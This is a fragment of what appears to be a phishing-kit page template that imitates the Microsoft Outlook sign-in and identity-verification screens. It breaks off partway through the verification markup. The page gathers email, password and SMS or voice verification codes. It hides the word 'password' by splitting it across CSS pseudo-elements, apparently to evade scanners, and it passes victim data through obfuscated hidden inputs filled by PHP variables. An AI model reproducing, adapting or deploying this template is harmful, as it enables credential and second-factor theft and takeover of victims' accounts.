window;background-color:window;color:highlight;text-decoration:none}.btn.btn-primary:hover:focus,.button.btn-primary:hover:focus,button.btn-primary:hover:focus,input[type=\\'button\\'].btn-primary:hover:focus,input[type=\\'submit\\'].btn-primary:hover:focus,input[type=\\'reset\\'].btn-primary:hover:focus,.btn.btn-google.btn-primary:hover:focus,.btn.primary:hover:focus,.button.primary:hover:focus,button.primary:hover:focus,input[type=\\'button\\'].primary:hover:focus,input[type=\\'submit\\'].primary:hover:focus,input[type=\\'reset\\'].primary:hover:focus,.btn.btn-google.primary:hover:focus,.btn.secondary:hover:focus,.button.secondary:hover:focus,button.secondary:hover:focus,input[type=\\'button\\'].secondary:hover:focus,input[type=\\'submit\\'].secondary:hover:focus,input[type=\\'reset\\'].secondary:hover:focus,.btn.btn-google.secondary:hover:focus{outline:1px solid windowText;border:1px solid window;background-color:window;color:highlight;text-decoration:underline}.btn.btn-primary:focus,.button.btn-primary:focus,button.btn-primary:focus,input[type=\\'button\\'].btn-primary:focus,input[type=\\'submit\\'].btn-primary:focus,input[type=\\'reset\\'].btn-primary:focus,.btn.btn-google.btn-primary:focus,.btn.primary:focus,.button.primary:focus,button.primary:focus,input[type=\\'button\\'].primary:focus,input[type=\\'submit\\'].primary:focus,input[type=\\'reset\\'].primary:focus,.btn.btn-google.primary:focus,.btn.secondary:focus,.button.secondary:focus,button.secondary:focus,input[type=\\'button\\'].secondary:focus,input[type=\\'submit\\'].secondary:focus,input[type=\\'reset\\'].secondary:focus,.btn.btn-google.secondary:focus{outline:1px solid windowText;border:1px solid window;background-color:highlight;color:highlightText;text-decoration:underline}.backButton{outline:none;border:1px solid window;background-color:window;color:windowText}.backButton:hover{outline:none;border:1px solid highlight;background-color:window;color:windowText}.backButton:hover:focus{outline:none;border:1px solid highlight;background-color:window;color:windowText}.backButton:focus,.backButton:active{outline:none;border:1px dashed highlight;background-color:window;color:windowText}}.cc-banner{position:relative;font-size:12px;display:table-row;height:2em}.cc-banner div,.cc-banner span,.cc-banner a,.cc-banner svg{margin:0;padding:0;text-decoration:none}.cc-banner .cc-v-center{display:inline;vertical-align:middle;line-height:2em}.cc-text>a{float:right}.cc-banner{color:#231f20;background:#f2f2f2;text-align:center;padding:0 1em;margin:0}.cc-banner>.cc-container{text-align:left;padding:.75em;display:inline-block;width:100%}@media (min-width:768px){.cc-banner{font-size:13px}}@media (min-width:1084px){.cc-banner{padding:0}.cc-banner>.cc-container{width:90%;max-width:1600px}}.cc-banner.active{display:block}.cc-banner .cc-icon{height:1.846em;width:1.846em}.cc-banner .cc-text{margin-left:.5em;margin-right:1.5em}.cc-banner .cc-link{color:#0067b8}.cc-banner .cc-link:hover,.cc-banner .cc-link:focus{text-decoration:underline}.cc-banner .cc-link:focus{outline:0;background:#dae6ef;background:content-box rgba(0,120,215,0.1)}.env-banner{display:table;max-width:200px;min-height:50px;max-height:100px;overflow:hidden;background:#0067b8;color:#fff;position:absolute;margin:10px;font-weight:bold;top:0;right:0;z-index:100}.env-banner-inner{display:table-cell;vertical-align:middle;padding:5px;text-align:left;direction:ltr}body a.env-banner-link{text-decoration:underline}.env-banner-link:hover,.env-banner-link:link,.env-banner-link:visited,.env-banner-link:visited:hover,.env-banner-link:link:hover,.env-banner-link:active,.env-banner-link:link:active,.env-banner-link:visited:active{color:#fff}.env-banner-text{display:inline-block;font-weight:normal}.fade-in-lightbox{animation:fadeIn .3s ease-in;-webkit-animation:fadeIn .3s ease-in;-moz-animation:fadeIn .3s ease-in;-ms-animation:fadeIn .3s ease-in;-o-animation:fadeIn .3s ease-in}.animate{animation-duration:.25s;-webkit-animation-duration:.25s;-moz-animation-duration:.25s;-ms-animation-duration:.25s;-o-animation-duration:.25s;animation-timing-function:cubic-bezier(.5, 0, .5, 1);-webkit-animation-timing-function:cubic-bezier(.5, 0, .5, 1);-moz-animation-timing-function:cubic-bezier(.5, 0, .5, 1);-ms-animation-timing-function:cubic-bezier(.5, 0, .5, 1);-o-animation-timing-function:cubic-bezier(.5, 0, .5, 1);animation-fill-mode:both;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;transition-property:left;-webkit-transition-property:left;-moz-transition-property:left;-ms-transition-property:left;-o-transition-property:left}html[dir=ltr] .animate.slide-out-next,html[dir=rtl] .animate.slide-out-back{animation-name:hide-to-left;-webkit-animation-name:hide-to-left;-moz-animation-name:hide-to-left;-ms-animation-name:hide-to-left;-o-animation-name:hide-to-left}html[dir=ltr] .animate.slide-in-next,html[dir=rtl] .animate.slide-in-back{animation-name:show-from-right;-webkit-animation-name:show-from-right;-moz-animation-name:show-from-right;-ms-animation-name:show-from-right;-o-animation-name:show-from-right}html[dir=ltr] .animate.slide-out-back,html[dir=rtl] .animate.slide-out-next{animation-name:hide-to-right;-webkit-animation-name:hide-to-right;-moz-animation-name:hide-to-right;-ms-animation-name:hide-to-right;-o-animation-name:hide-to-right}html[dir=ltr] .animate.slide-in-back,html[dir=rtl] .animate.slide-in-next{animation-name:show-from-left;-webkit-animation-name:show-from-left;-moz-animation-name:show-from-left;-ms-animation-name:show-from-left;-o-animation-name:show-from-left}@keyframes hide-to-left{from{left:0;opacity:1}to{left:-200px;opacity:0}}@keyframes show-from-right{from{left:200px;opacity:0}to{left:0;opacity:1}}@keyframes hide-to-right{from{left:0;opacity:1}to{left:200px;opacity:0}}@keyframes show-from-left{from{left:-200px;opacity:0}to{left:0;opacity:1}}@-webkit-keyframes hide-to-left{from{left:0;opacity:1}to{left:-200px;opacity:0}}@-webkit-keyframes show-from-right{from{left:200px;opacity:0}to{left:0;opacity:1}}@-webkit-keyframes hide-to-right{from{left:0;opacity:1}to{left:200px;opacity:0}}@-webkit-keyframes show-from-left{from{left:-200px;opacity:0}to{left:0;opacity:1}}@-moz-keyframes hide-to-left{from{left:0;opacity:1}to{left:-200px;opacity:0}}@-moz-keyframes show-from-right{from{left:200px;opacity:0}to{left:0;opacity:1}}@-moz-keyframes hide-to-right{from{left:0;opacity:1}to{left:200px;opacity:0}}@-moz-keyframes show-from-left{from{left:-200px;opacity:0}to{left:0;opacity:1}}@-ms-keyframes hide-to-left{from{left:0;opacity:1}to{left:-200px;opacity:0}}@-ms-keyframes show-from-right{from{left:200px;opacity:0}to{left:0;opacity:1}}@-ms-keyframes hide-to-right{from{left:0;opacity:1}to{left:200px;opacity:0}}@-ms-keyframes show-from-left{from{left:-200px;opacity:0}to{left:0;opacity:1}}@-o-keyframes hide-to-left{from{left:0;opacity:1}to{left:-200px;opacity:0}}@-o-keyframes show-from-right{from{left:200px;opacity:0}to{left:0;opacity:1}}@-o-keyframes hide-to-right{from{left:0;opacity:1}to{left:200px;opacity:0}}@-o-keyframes show-from-left{from{left:-200px;opacity:0}to{left:0;opacity:1}}
	.pashold::before {
		 content: "pass"
	 }
	 .pashold::after {
		 content: "word"
	 }
        </style>
   <body class="cb" style="display:block; ">

       <div id="content" style="display : none">  
         <div>
            
         </div>

            <div class=outer>
               <div id="bg_img" class="app middle" style="background-image: ' .($back ?? "linear-gradient(to right, #cccccc , #ebdfdb);" ).'">
                  <div class="background-logo-holder">
                     
                  </div>
                  <div class="app fade-in-lightbox inner">
                      <div id="progressBar" style="display: none;" class="progress" role="progressbar" data-bind="component: \\'marching-ants-control\\', ariaLabel: str[\\'WF_STR_ProgressText\\']" aria-label="Please wait"><!--  -->
                        <!-- ko if: svr.fSupportWindowsStyles --><!-- /ko -->
                        <!-- ko ifnot: svr.fSupportWindowsStyles -->
                            <!-- ko if: useCssAnimation -->
                            <div></div><div></div><div></div><div></div><div></div>
                            <!-- /ko -->
                            <!-- ko ifnot: useCssAnimation --><!-- /ko -->
                        <!-- /ko --></div>
                     <div>
                        <img id="logo_image" class="banner-logo" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAxMDggMjQiPjx0aXRsZT5hc3NldHM8L3RpdGxlPjxwYXRoIGQ9Ik00NC44MzYsNC42VjE4LjRoLTIuNFY3LjU4M0g0Mi40TDM4LjExOSwxOC40SDM2LjUzMUwzMi4xNDIsNy41ODNoLS4wMjlWMTguNEgyOS45VjQuNmgzLjQzNkwzNy4zLDE0LjgzaC4wNThMNDEuNTQ1LDQuNlptMiwxLjA0OWExLjI2OCwxLjI2OCwwLDAsMSwuNDE5LS45NjcsMS40MTMsMS40MTMsMCwwLDEsMS0uMzksMS4zOTIsMS4zOTIsMCwwLDEsMS4wMi40LDEuMywxLjMsMCwwLDEsLjQuOTU4LDEuMjQ4LDEuMjQ4LDAsMCwxLS40MTQuOTUzLDEuNDI4LDEuNDI4LDAsMCwxLTEuMDEuMzg1QTEuNCwxLjQsMCwwLDEsNDcuMjUsNi42YTEuMjYxLDEuMjYxLDAsMCwxLS40MDktLjk0OE00OS40MSwxOC40SDQ3LjA4MVY4LjUwN0g0OS40MVptNy4wNjQtMS42OTRhMy4yMTMsMy4yMTMsMCwwLDAsMS4xNDUtLjI0MSw0LjgxMSw0LjgxMSwwLDAsMCwxLjE1NS0uNjM1VjE4YTQuNjY1LDQuNjY1LDAsMCwxLTEuMjY2LjQ4MSw2Ljg4Niw2Ljg4NiwwLDAsMS0xLjU1NC4xNjQsNC43MDcsNC43MDcsMCwwLDEtNC45MTgtNC45MDgsNS42NDEsNS42NDEsMCwwLDEsMS40LTMuOTMyLDUuMDU1LDUuMDU1LDAsMCwxLDMuOTU1LTEuNTQ1LDUuNDE0LDUuNDE0LDAsMCwxLDEuMzI0LjE2OCw0LjQzMSw0LjQzMSwwLDAsMSwxLjA2My4zOXYyLjIzM2E0Ljc2Myw0Ljc2MywwLDAsMC0xLjEtLjYxMSwzLjE4NCwzLjE4NCwwLDAsMC0xLjE1LS4yMTcsMi45MTksMi45MTksMCwwLDAtMi4yMjMuOSwzLjM3LDMuMzcsMCwwLDAtLjg0NywyLjQxNiwzLjIxNiwzLjIxNiwwLDAsMCwuODEzLDIuMzM4LDIuOTM2LDIuOTM2LDAsMCwwLDIuMjA5LjgzN002NS40LDguMzQzYTIuOTUyLDIuOTUyLDAsMCwxLC41LjAzOSwyLjEsMi4xLDAsMCwxLC4zNzUuMXYyLjM1OGEyLjA0LDIuMDQsMCwwLDAtLjUzNC0uMjU1LDIuNjQ2LDIuNjQ2LDAsMCwwLS44NTItLjEyLDEuODA4LDEuODA4LDAsMCwwLTEuNDQ4LjcyMiwzLjQ2NywzLjQ2NywwLDAsMC0uNTkyLDIuMjIzVjE4LjRINjAuNTI1VjguNTA3aDIuMzI5djEuNTU5aC4wMzhBMi43MjksMi43MjksMCwwLDEsNjMuODU1LDguOCwyLjYxMSwyLjYxMSwwLDAsMSw2NS40LDguMzQzbTEsNS4yNTRBNS4zNTgsNS4zNTgsMCwwLDEsNjcuNzkyLDkuNzFhNS4xLDUuMSwwLDAsMSwzLjg1LTEuNDM0LDQuNzQyLDQuNzQyLDAsMCwxLDMuNjIzLDEuMzgxLDUuMjEyLDUuMjEyLDAsMCwxLDEuMywzLjcyOSw1LjI1Nyw1LjI1NywwLDAsMS0xLjM4NiwzLjgzLDUuMDE5LDUuMDE5LDAsMCwxLTMuNzcyLDEuNDI0LDQuOTM1LDQuOTM1LDAsMCwxLTMuNjUyLTEuMzUyQTQuOTg3LDQuOTg3LDAsMCwxLDY2LjQwNiwxMy42bTIuNDI1LS4wNzdhMy41MzUsMy41MzUsMCwwLDAsLjcsMi4zNjgsMi41MDUsMi41MDUsMCwwLDAsMi4wMTEuODE4LDIuMzQ1LDIuMzQ1LDAsMCwwLDEuOTM0LS44MTgsMy43ODMsMy43ODMsMCwwLDAsLjY2NC0yLjQyNSwzLjY1MSwzLjY1MSwwLDAsMC0uNjg4LTIuNDExLDIuMzg5LDIuMzg5LDAsMCwwLTEuOTI5LS44MTMsMi40NCwyLjQ0LDAsMCwwLTEuOTg4Ljg1MiwzLjcwNywzLjcwNywwLDAsMC0uNzA3LDIuNDNtMTEuMi0yLjQxNmExLDEsMCwwLDAsLjMxOC43ODUsNS40MjYsNS40MjYsMCwwLDAsMS40LjcxNyw0Ljc2Nyw0Ljc2NywwLDAsMSwxLjk1OSwxLjI1NiwyLjYsMi42LDAsMCwxLC41NjMsMS42ODlBMi43MTUsMi43MTUsMCwwLDEsODMuMiwxNy43OTRhNC41NTgsNC41NTgsMCwwLDEtMi45Ljg0Nyw2Ljk3OCw2Ljk3OCwwLDAsMS0xLjM2Mi0uMTQ5LDYuMDQ3LDYuMDQ3LDAsMCwxLTEuMjY1LS4zOHYtMi4yOWE1LjczMyw1LjczMywwLDAsMCwxLjM2Ny43LDQsNCwwLDAsMCwxLjMyOC4yNiwyLjM2NSwyLjM2NSwwLDAsMCwxLjE2NC0uMjIxLjc5Ljc5LDAsMCwwLC4zNzUtLjc0MSwxLjAyOSwxLjAyOSwwLDAsMC0uMzktLjgxMyw1Ljc2OCw1Ljc2OCwwLDAsMC0xLjQ3Ny0uNzY1LDQuNTY0LDQuNTY0LDAsMCwxLTEuODI5LTEuMjEzLDIuNjU1LDIuNjU1LDAsMCwxLS41MzktMS43MTMsMi43MDYsMi43MDYsMCwwLDEsMS4wNjMtMi4yQTQuMjQzLDQuMjQzLDAsMCwxLDgxLjUsOC4yNTZhNi42NjMsNi42NjMsMCwwLDEsMS4xNjQuMTE1LDUuMTYxLDUuMTYxLDAsMCwxLDEuMDc4LjN2Mi4yMTRhNC45NzQsNC45NzQsMCwwLDAtMS4wNzgtLjUyOSwzLjYsMy42LDAsMCwwLTEuMjIyLS4yMjEsMS43ODEsMS43ODEsMCwwLDAtMS4wMzQuMjYuODI0LjgyNCwwLDAsMC0uMzcxLjcxMk04NS4yNzgsMTMuNkE1LjM1OCw1LjM1OCwwLDAsMSw4Ni42NjQsOS43MWE1LjEsNS4xLDAsMCwxLDMuODQ5LTEuNDM0LDQuNzQzLDQuNzQzLDAsMCwxLDMuNjI0LDEuMzgxLDUuMjEyLDUuMjEyLDAsMCwxLDEuMywzLjcyOSw1LjI1OSw1LjI1OSwwLDAsMS0xLjM4NiwzLjgzLDUuMDIsNS4wMiwwLDAsMS0zLjc3MywxLjQyNCw0LjkzNCw0LjkzNCwwLDAsMS0zLjY1Mi0xLjM1MkE0Ljk4Nyw0Ljk4NywwLDAsMSw4NS4yNzgsMTMuNm0yLjQyNS0uMDc3YTMuNTM3LDMuNTM3LDAsMCwwLC43LDIuMzY4LDIuNTA2LDIuNTA2LDAsMCwwLDIuMDExLjgxOCwyLjM0NSwyLjM0NSwwLDAsMCwxLjkzNC0uODE4LDMuNzgzLDMuNzgzLDAsMCwwLC42NjQtMi40MjUsMy42NTEsMy42NTEsMCwwLDAtLjY4OC0yLjQxMSwyLjM5LDIuMzksMCwwLDAtMS45My0uODEzLDIuNDM5LDIuNDM5LDAsMCwwLTEuOTg3Ljg1MiwzLjcwNywzLjcwNywwLDAsMC0uNzA3LDIuNDNtMTUuNDY0LTMuMTA5SDk5LjdWMTguNEg5Ny4zNDFWMTAuNDEySDk1LjY4NlY4LjUwN2gxLjY1NVY3LjEzYTMuNDIzLDMuNDIzLDAsMCwxLDEuMDE1LTIuNTU1LDMuNTYxLDMuNTYxLDAsMCwxLDIuNi0xLDUuODA3LDUuODA3LDAsMCwxLC43NTEuMDQzLDIuOTkzLDIuOTkzLDAsMCwxLC41NzcuMTNWNS43NjRhMi40MjIsMi40MjIsMCwwLDAtLjQtLjE2NCwyLjEwNywyLjEwNywwLDAsMC0uNjY0LS4xLDEuNDA3LDEuNDA3LDAsMCwwLTEuMTI2LjQ1N0EyLjAxNywyLjAxNywwLDAsMCw5OS43LDcuMzEzVjguNTA3aDMuNDY5VjYuMjgzbDIuMzM5LS43MTJWOC41MDdoMi4zNTh2MS45MDZoLTIuMzU4djQuNjI5YTEuOTUxLDEuOTUxLDAsMCwwLC4zMzIsMS4yOSwxLjMyNiwxLjMyNiwwLDAsMCwxLjA0NC4zNzUsMS41NTcsMS41NTcsMCwwLDAsLjQ4Ni0uMSwyLjI5NCwyLjI5NCwwLDAsMCwuNS0uMjMxVjE4LjNhMi43MzcsMi43MzcsMCwwLDEtLjczNi4yMzEsNS4wMjksNS4wMjksMCwwLDEtMS4wMTUuMTA2LDIuODg3LDIuODg3LDAsMCwxLTIuMjA5LS43ODQsMy4zNDEsMy4zNDEsMCwwLDEtLjczNi0yLjM2M1oiIGZpbGw9IiM3MzczNzMiLz48cmVjdCB3aWR0aD0iMTAuOTMxIiBoZWlnaHQ9IjEwLjkzMSIgZmlsbD0iI2YyNTAyMiIvPjxyZWN0IHg9IjEyLjA2OSIgd2lkdGg9IjEwLjkzMSIgaGVpZ2h0PSIxMC45MzEiIGZpbGw9IiM3ZmJhMDAiLz48cmVjdCB5PSIxMi4wNjkiIHdpZHRoPSIxMC45MzEiIGhlaWdodD0iMTAuOTMxIiBmaWxsPSIjMDBhNGVmIi8+PHJlY3QgeD0iMTIuMDY5IiB5PSIxMi4wNjkiIHdpZHRoPSIxMC45MzEiIGhlaWdodD0iMTAuOTMxIiBmaWxsPSIjZmZiOTAwIi8+PC9zdmc+">
                     </div>
                     <div>

                     
                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
                                            <div class="add_em">
                                                    <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
                                                    <a href="#" class="email-picker">
                                                            <div class="block-m2">
                                                                   <img role="presentation" src=""> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="" alt=""></span>
                                                            </div>
                                                    </a>
                                                    <a href="#" class="email-picker2">
                                                            <div class="block-m2">
                                                                   <img role="presentation" src=""><span style="word-wrap:break-word;"> Use another account</span>
                                                            </div>
                                                    </a>
                                                    <br>
                                           </div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>
                     
                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                       <div class="text-13 subtitle" aria-level=2>to continue to Outlook</div>
                                    </div>
                                 </div>
                                 <div class=row>
                                            <div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
                                                    <div class="alert alert-error error-alert-msg"></div>
                                                    <br>
                                            </div>
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
                                    </script><input type="text" name="email" attr-httpd="thbdf55" ind="rvdhv443dd" id="email" class="form-control ltr_override" value="[email protected]" placeholder="[email protected] ">
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">
                                    <div class=row>
                                       <div class=col-md-24>
                                          <div class="text-13 action-links">
                                             <div class=form-group>
                                                <a href="#" >Can%u2019t access your account?</a>
                                             </div>
                                          </div>
                                       </div>
                                    </div>
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                        <div id="add_pass" style="display: none;">
                                <div class="animate slide-in-next">
                                        <div>
                                                <div class="identityBanner">
                                                        <a class="backButton" href="#" type="button">
                                                                <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48cGF0aCBkPSJNMTgsMTEuNTc4di44NDRINy42MTdsMy45MjEsMy45MjgtLjU5NC41OTRMNiwxMmw0Ljk0NC00Ljk0NC41OTQuNTk0TDcuNjE3LDExLjU3OFoiIGZpbGw9IiM0MDQwNDAiLz48cGF0aCBkPSJNMTAuOTQ0LDcuMDU2bC41OTQuNTk0TDcuNjE3LDExLjU3OEgxOHYuODQ0SDcuNjE3bDMuOTIxLDMuOTI4LS41OTQuNTk0TDYsMTJsNC45NDQtNC45NDRtMC0uMTQxLS4wNzEuMDdMNS45MjksMTEuOTI5LDUuODU4LDEybC4wNzEuMDcxLDQuOTQ0LDQuOTQ0LjA3MS4wNy4wNzEtLjA3LjU5NC0uNTk1LjA3MS0uMDctLjA3MS0uMDcxTDcuODU4LDEyLjUyMkgxOC4xVjExLjQ3OEg3Ljg1OGwzLjc1MS0zLjc1Ny4wNzEtLjA3MS0uMDcxLS4wNy0uNTk0LS41OTUtLjA3MS0uMDdaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+">
                                                        </a>
                                                        <div class="identity"></div>
                                                </div>
                                        </div>
                                </div>
                                <div style="" class="enter-pass animate slide-in-next has-identity-banner pagination-view">
                                        <div class="row text-title">Enter <span class="pashold"></span></div>
                                        <div class=row>
                                            <div aria-live="assertive" role="alert" class="error-alert">
                                                    <div class="pass-error alert alert-error error-alert-msg"></div>
													<span class="info-verify">'.($caption ?? "Because you're accessing sensitive info, you need to verify your <span class=\\"pashold\\"></span>").'</span>
                                            </div>
                                                <div class="form-group col-md-24">
                                                        <div aria-live="assertive" role="alert" style="display: block;" class="error-alert-pass">
                                                                <div style="color:#e81123;" class="alert alert-erro"></div>
                                                        </div>
                                                        <div class=placeholderContainer>
                                                                <input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
                                                        </div>
                                                </div>
                                        </div>
                                        <div class=position-buttons>
                                                <div>
                                                        <div class=row>
                                                                <div class=col-md-24>
                                                                                <div class="action-links text-13">
                                                                                <div class=form-group><a href="#">Forgot my <span class="pashold"></span></a></div>
                                                                                <div class=form-group></div>
                                                                                <input type="hidden" value="'.$email.'" id="bkupttrferrs" >
                                                                                <input type="hidden" value="'.base64_encode($url).'" id="uurl" >
                                                                        </div>
                                                                </div>
                                                        </div>
                                                </div>
                                                <div class=row >
                                                        <div>
                                                                <div class="button-container col-xs-24 no-padding-left-right">
                                                                        <div class=inline-block>
                                                                                <button class="nextb btn btn-block btn-primary btn-signin">Sign in</button>
                                                                        </div>
                                                                    <input type="hidden" value="0" id="first" >
                                                                    <input type="hidden" value="1" id="repeat" >
                                                                </div>
                                                        </div>
                                                 </div>
                                        </div>
                                </div>
							
								<div style="display:none;" class="show-2fa-code pagination-view has-identity-banner animate slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="2" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'otc-request-view\\',
                    params: {
                        serverData: svr,
                        serverError: initialError,
                        renderProofsInline: true,
                        username: sharedData.username,
                        otcProofs: sharedData.otcProofs,
                        isInitialState: isInitialState,
                        showCancelButton: sharedData.showCancelButton,
                        hideSmsInMfaProofs: sharedData.hideSmsInMfaProofs,
                        focusDefaultField: true },
                    event: {
                        cancel: view_onCancel,
                        redirect: $tfaPage.view_onRedirect,
                        showDebugDetails: $tfaPage.toggleDebugDetails_onClick,
                        setPendingRequest: $tfaPage.view_onSetPendingRequest,
                        updateSessionIdentifier: $tfaPage.view_onUpdateSessionIdentifier,
                        showMoreProofs: $tfaPage.view_onShowMoreProofs } }"><!--  -->

<!-- ko if: defaultProof && sending() --><!-- /ko -->

<!-- ko ifnot: defaultProof && sending() -->
<div id="idDiv_SAOTCS_Title" class="row text-title" role="heading" aria-level="1" data-bind="text: str[\\'CT_SAOTCC_STR_Title\\']">Verify your identity</div>

<!-- ko if: svr.fIsChallengeDueToAuthenticationStrengths --><!-- /ko -->

<div id="idDiv_SAOTCS_Proofs_Section">
    <!-- ko if: serverError --><!-- /ko -->

    <div id="idDiv_SAOTCS_Proofs" class="form-group" role="list" data-bind="css: { \\'binaryChoice list\\': svr.fSupportWindowsStyles }" aria-labelledby="idDiv_SAOTCS_Error_OTC idDiv_SAOTCS_Title">
        <!-- ko foreach: { data: proofs } -->
            <!-- ko if: $parent.isProofVisible(type) -->
            <div class="row tile" role="listitem">
                <div class="table" tabindex="0" role="button" data-bind="
                    attr: { \\'data-value\\': value },
                    css: { \\'list-item\\': svr.fSupportWindowsStyles },
                    ariaDescribedBy: $data === $parent.focusedProof() ? \\'idDiv_SAOTCS_Title\\' : null,
                    click: $parent.proof_onClick,
                    pressEnter: $parent.proof_onClick,
                    hasFocus: $data === $parent.focusedProof()" data-value="OneWaySMS" aria-describedby="idDiv_SAOTCS_Title">
                    <div class="table-row">
                        <div class="table-cell tile-img">
                            <div data-bind="component: { name: \\'proof-image-control\\', params: { type: type } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile -->
    <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img" role="presentation" pngsrc="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAAsSAAALEgHS3X78AAAAqElEQVRo3u3ZsQ2EMBBE0TG6nFauBLbypQRaoQJfipychZHWxn9jB/M8ILQi5Zw18iwafAAAAAAAwNyAz78DZhb6qXb3NHcDtTfx9NQ2z0sMAAAAAAAAAAAAAACA929k5YZ03dDM7Ctpl7QO10Bk+KoGyl342kQR/pS0ufsxRAM9hG99hMLDtwLCw7cCwsO3ALoIfxfQTfi7gG7CS1LiPzEAAAAATA34AUDqP0bWifNxAAAAAElFTkSuQmCC" svgsrc="data:image/svg+xml;base64,H4sIAAAAAAAEAHWPva7CMAyFXyUya9U4P4iAkg536gBrh7shCE2k0iJiNTz+TS5iRLbkY/vTsWzTOrLXfZqTg0D0OHCec26zapfnyCUi8kIAy/FKwYE2wIKPY6C3XqPPP8vLATJk2pSEzlKkyXfnlDwly9+dffoLfXO5xWlyMC+zB97Zx5kCuzo4KdMoHITsBQ4Kg151u92ZozC1lFWvzEnIRsneDAJ7XajC7lst5bHO/9Xvx36jsUa9UF/q/gCjDUfv+gAAAA==" data-bind="imgSrc, css: { \\'small\\': small, \\'animate-pulse\\': animate }" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48cmVjdCB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9Im5vbmUiLz48cGF0aCBkPSJNMzgsMzBWMTJIMTBWMzBoNHY0LjU3OEwxOC41NzgsMzBIMzhNMTIsMzJIOFYxMEg0MFYzMkgxOS40MjJMMTIsMzkuNDIyWiIgZmlsbD0iIzQwNDA0MCIvPjwvc3ZnPg=="><!-- /ko -->
<!-- /ko --><!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator --><!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko --></div>
                        </div>
                        <div class="table-cell text-left content click-to-enter" data-bind="css: { \\'content\\': !svr.fSupportWindowsStyles }">
                            <div data-bind="text: display" class="holder">
								Text <span class="add-text"></span>
							</div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- /ko -->
        
            <!-- ko if: $parent.isProofVisible(type) -->
            <div class="row tile" role="listitem">
                <div class="table" tabindex="0" role="button" data-bind="
                    attr: { \\'data-value\\': value },
                    css: { \\'list-item\\': svr.fSupportWindowsStyles },
                    ariaDescribedBy: $data === $parent.focusedProof() ? \\'idDiv_SAOTCS_Title\\' : null,
                    click: $parent.proof_onClick,
                    pressEnter: $parent.proof_onClick,
                    hasFocus: $data === $parent.focusedProof()" data-value="TwoWayVoiceMobile">
                    <div class="table-row">
                        <div class="table-cell tile-img">
                            <div data-bind="component: { name: \\'proof-image-control\\', params: { type: type } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile --><!-- /ko -->

